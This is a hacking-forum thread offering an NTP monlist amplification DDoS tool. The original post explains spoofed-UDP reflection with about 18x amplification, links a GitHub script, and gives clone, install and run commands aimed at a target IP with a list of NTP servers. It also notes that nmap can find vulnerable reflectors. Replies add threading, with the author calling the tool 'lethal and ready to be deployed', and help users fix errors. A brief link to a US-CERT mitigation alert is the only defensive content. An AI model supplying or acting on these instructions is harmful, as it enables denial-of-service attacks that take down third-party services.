Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[DOS/DDOS] NTP Multiplication Attack

For informational uses only DaRkReD is not liable for any actions taken with the provided tools

EDIT: It appears someone is using an attack vector like this to DDOS cloudflare. I can not stress enough I have no involvement or participation in any such actions. This script is provided as is and its up to the end user to make mature and legal decisions about its usage.

[Image: VsN01Fx.png]



How does it work?

NTP has a feature called monlist which lists recent clients. Asking for the monlist takes about 90 bytes, the monlist is about 1640 bytes and since NTP is UDP an attacker can spoof the IP origin and those 1640 bytes will go to a target. As a result an attacker has an 18x amplification attack so for every 1 byte an attacker sends 18 bytes sent to the target.

The scary part? Shodan is currently detecting around 762,644 NTP servers in the DMZ.

How do I do it?

Manipulate the UDP header yourself or use the python script: https://github.com/vpnguy/ntpdos
Requires root and scapy library (sudo apt-get install python-scapy)

Run the script like this:
Code
ntpdos.py <target ip> <NTP server list> <number of threads>
EX:
Code
ntpdos.py "1.2.3.4" "list.txt" "10"
(Attempts to NTP flood 1.2.3.4 using a list of servers at list.txt by creating 10 threads

Install it by:
Code
git clone http://github.com/vpnguy/ntpdos.git
cd ntpdos
chmod +x ntpdos.py
./ntpdos.py -h

You need to have your server list formatted as:
Code
1.1.1.1
2.2.2.2
3.3.3.3
DO NOT ADD ANY PORT NUMBERS TO THE END
(One server per line)

You will also need some NTP servers that allow remote monlists

How do I find servers that support remote monlist?
nmap has modules to search for them but thats up to you

Will this run on windows?
Since XP SP2 windows has disallowed invalid UDP headers. Just boot up a Backtrack/Kali VM if you want it to work 100%

Mitigation?
https://www.us-cert.gov/ncas/alerts/TA14-013A

Happy Hacking
--DaRkReD
Github
Keybase
Shoot me a PM
Fixed a quick bug in the code should be working 100% now
Github
Keybase
Shoot me a PM
what should i do with this ntp....how to use ur python script
Can you use multiple NTP servers to attack with?
(Jan 24, 2014 08:58 AM)ProxNasman Wrote:  Can you use multiple NTP servers to attack with?

My script only launches from a single server but it would be easy enough to thread it or write your own or just open 20 copies
Github
Keybase
Shoot me a PM
Can you link me to any of these nmap modules
(Jan 24, 2014 06:22 PM)packetmaster Wrote:  Can you link me to any of these nmap modules

http://nmap.org/nsedoc/scripts/ntp-monlist.html
Github
Keybase
Shoot me a PM
I think i installed scapy library but what do you mean root?
uuuhh looks nice! can I run this on my windows 7?
thank for sharing keep the good work??
looks cool can i run this on window 7?? though
(Jan 25, 2014 12:41 PM)Honeyz Wrote:  I think i installed scapy library but what do you mean root?

root is the administrator user on linux
(Jan 25, 2014 01:11 PM)coolerfarmer Wrote:  uuuhh looks nice! can I run this on my windows 7?

(Jan 25, 2014 02:36 PM)HackScope Wrote:  looks cool can i run this on window 7?? though

It might run on win7 but you will hit the windows socket limit pretty quick. Id just fire up a backtrack VM and run it in there!
Github
Keybase
Shoot me a PM
Added threading, loading from lists and help

This is now lethal and ready to be deployed in the real world!
Github
Keybase
Shoot me a PM
I'm getting this error:
File "ntpdos.py", line 39
with open(ntpserverfile) as f:

-Centos 5
i keep Getting
"WARNING: No route found for IPv6 destination :: (no default route?)
Attack Aborted: More threads than servers
Next time dont create more threads than servers
"
but yet i only have 6 servers in the list and im using 2 threads


Possibly Related Threads...
Thread / Author Replies Views Last Post
by metanvnJan 17, 2021 10:56 PM 7 666 Jan 17, 2021 10:56 PM
Last Post: Crypt
by Mr.MOTOMar 16, 2016 11:11 AM 14 728 Mar 16, 2016 11:11 AM
Last Post: tot3l_dumbass14
by ๖ۣۜXeFeb 29, 2016 07:51 AM 0 283 Feb 29, 2016 07:51 AM
Last Post: ๖ۣۜXe